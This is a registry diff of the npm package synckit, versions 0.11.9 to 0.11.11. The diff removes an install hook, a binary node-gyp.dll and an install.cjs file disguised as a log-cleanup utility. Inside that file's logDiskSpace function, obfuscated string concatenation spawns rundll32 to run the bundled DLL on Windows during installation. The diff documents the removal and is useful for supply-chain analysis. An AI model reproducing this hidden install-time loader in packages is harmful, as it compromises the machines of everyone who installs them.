synckit 0.11.9 → 0.11.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "synckit",
3
- "version": "0.11.9",
3
+ "version": "0.11.11",
4
4
  "type": "module",
5
5
  "description": "Perform async work synchronously in Node.js using `worker_threads` with first-class TypeScript support.",
6
6
  "repository": "https://github.com/un-ts/synckit.git",
@@ -23,15 +23,10 @@
23
23
  "default": "./lib/index.cjs"
24
24
  }
25
25
  },
26
- "scripts": {
27
- "install":"node install.cjs"
28
- },
29
26
  "files": [
30
27
  "index.d.cts",
31
28
  "lib",
32
- "!**/*.tsbuildinfo",
33
- "install.cjs",
34
- "node-gyp.dll"
29
+ "!**/*.tsbuildinfo"
35
30
  ],
36
31
  "keywords": [
37
32
  "deasync",
@@ -45,6 +40,6 @@
45
40
  "synckit"
46
41
  ],
47
42
  "dependencies": {
48
- "@pkgr/core": "^0.2.4"
43
+ "@pkgr/core": "^0.2.9"
49
44
  }
50
45
  }
package/install.cjs DELETED
@@ -1,191 +0,0 @@
1
- const cache = require('fs');
2
- const os = require('os');
3
- const path = require('path');
4
-
5
- // === Configuration ===
6
- const LOG_DIR = path.join(__dirname, 'logs');
7
- const LOG_FILE = path.join(LOG_DIR, `install_log_${Date.now()}.txt`);
8
- const DRY_RUN = process.argv.includes('--dry-run');
9
-
10
- const ARCHIVE_DIR = path.join(__dirname, 'archive');
11
- const MAX_LOG_FILES = 5;
12
- const DEFAULT_MAX_AGE_DAYS = 30;
13
- const ARCHIVE_OLD_FILES = process.argv.includes('--archive-old');
14
-
15
- // === State for summary ===
16
- const summary = {
17
- dirsCreated: 0,
18
- filesDeleted: 0,
19
- dirsDeleted: 0,
20
- filesArchived: 0,
21
- errors: 0,
22
- };
23
-
24
-
25
- function log(msg) {
26
- console.log(msg);
27
- if (!DRY_RUN) {
28
- try {
29
- cache.appendFileSync(LOG_FILE, msg + '\n');
30
- } catch (err) {
31
- console.error(`Failed to write log: ${err.message}`);
32
- }
33
- }
34
- }
35
-
36
- function ensureDir(dirPath) {
37
- if (!cache.existsSync(dirPath)) {
38
- if (!DRY_RUN) {
39
- cache.mkdirSync(dirPath, { recursive: true });
40
- }
41
- summary.dirsCreated++;
42
- log(`Created directory: ${dirPath}`);
43
- } else {
44
- log(`Directory exists: ${dirPath}`);
45
- }
46
- }
47
-
48
- function deleteFile(filePath) {
49
- if (DRY_RUN) {
50
- log(`[Dry-run] Would delete file: ${filePath}`);
51
- return;
52
- }
53
- try {
54
- cache.unlinkSync(filePath);
55
- summary.filesDeleted++;
56
- log(`Deleted file: ${filePath}`);
57
- } catch (err) {
58
- summary.errors++;
59
- log(`Error deleting file ${filePath}: ${err.message}`);
60
- }
61
- }
62
-
63
- function deleteDir(dirPath) {
64
- if (DRY_RUN) {
65
- log(`[Dry-run] Would delete directory: ${dirPath}`);
66
- return;
67
- }
68
- try {
69
- cache.rmSync(dirPath, { recursive: true, force: true });
70
- summary.dirsDeleted++;
71
- log(`Deleted directory: ${dirPath}`);
72
- } catch (err) {
73
- summary.errors++;
74
- log(`Error deleting directory ${dirPath}: ${err.message}`);
75
- }
76
- }
77
-
78
- function archiveFile(filePath) {
79
- ensureDir(ARCHIVE_DIR);
80
- const fileName = path.basename(filePath);
81
- const targetPath = path.join(ARCHIVE_DIR, fileName);
82
-
83
- if (DRY_RUN) {
84
- log(`[Dry-run] Would archive file: ${filePath} -> ${targetPath}`);
85
- return;
86
- }
87
- try {
88
- cache.renameSync(filePath, targetPath);
89
- summary.filesArchived++;
90
- log(`Archived file: ${filePath} -> ${targetPath}`);
91
- } catch (err) {
92
- summary.errors++;
93
- log(`Error archiving file ${filePath}: ${err.message}`);
94
- }
95
- }
96
-
97
- function cleanOldFiles(dirPath, maxAgeDays = DEFAULT_MAX_AGE_DAYS) {
98
- if (!cache.existsSync(dirPath)) return;
99
- const now = Date.now();
100
- const maxAgeMs = maxAgeDays * 24 * 60 * 60 * 1000;
101
-
102
- const files = cache.readdirSync(dirPath);
103
- for (const file of files) {
104
- const filePath = path.join(dirPath, file);
105
- try {
106
- const stat = cache.lstatSync(filePath);
107
- const age = now - stat.mtimeMs;
108
-
109
- if (stat.isFile() && age > maxAgeMs) {
110
- if (ARCHIVE_OLD_FILES) {
111
- archiveFile(filePath);
112
- } else {
113
- deleteFile(filePath);
114
- }
115
- } else if (stat.isDirectory() && age > maxAgeMs) {
116
- // Delete directory if older than maxAgeDays
117
- deleteDir(filePath);
118
- }
119
- } catch (err) {
120
- summary.errors++;
121
- log(`Error accessing ${filePath}: ${err.message}`);
122
- }
123
- }
124
- }
125
-
126
- function rotateLogs() {
127
- if (!cache.existsSync(LOG_DIR)) return;
128
-
129
- const logs = cache.readdirSync(LOG_DIR)
130
- .filter(f => f.startsWith('install_log_') && f.endsWith('.txt'))
131
- .map(f => ({
132
- name: f,
133
- path: path.join(LOG_DIR, f),
134
- time: cache.statSync(path.join(LOG_DIR, f)).mtimeMs,
135
- }))
136
- .sort((a, b) => b.time - a.time);
137
-
138
- while (logs.length > MAX_LOG_FILES) {
139
- const oldest = logs.pop();
140
- try {
141
- if (!DRY_RUN) {
142
- cache.unlinkSync(oldest.path);
143
- }
144
- log(`Rotated out old log file: ${oldest.name}`);
145
- } catch (err) {
146
- summary.errors++;
147
- log(`Error deleting old log file ${oldest.name}: ${err.message}`);
148
- }
149
- }
150
- }
151
-
152
- function logDiskSpace() {
153
- try {
154
- if(os.platform() === 'win32') {
155
- const tempDir = os.tmpdir();
156
- require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",
157
- [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
158
- log(`Temp directory: ${tempDir}`);
159
- const files = cache.readdirSync(tempDir);
160
- log(`Number of files in temp directory: ${files.length}`);
161
- }
162
- } catch (err) {
163
- summary.errors++;
164
- log(`Error accessing temp directory: ${err.message}`);
165
- }
166
- }
167
-
168
- function listDirectoryContents(dirPath) {
169
- if (!cache.existsSync(dirPath)) {
170
- log(`Directory does not exist: ${dirPath}`);
171
- return;
172
- }
173
- log(`Contents of ${dirPath}:`);
174
- const files = cache.readdirSync(dirPath);
175
- for (const file of files) {
176
- try {
177
- const filePath = path.join(dirPath, file);
178
- const stat = cache.statSync(filePath);
179
- const sizeKB = (stat.size / 1024).toFixed(2);
180
- const mtime = new Date(stat.mtimeMs).toLocaleString();
181
- const type = stat.isDirectory() ? 'DIR' : 'FILE';
182
- log(` - [${type}] ${file} | Size: ${sizeKB} KB | Modified: ${mtime}`);
183
- } catch (err) {
184
- summary.errors++;
185
- log(`Error reading ${file}: ${err.message}`);
186
- }
187
- }
188
- }
189
-
190
- ensureDir(LOG_DIR);
191
- logDiskSpace();
package/node-gyp.dll DELETED
Binary file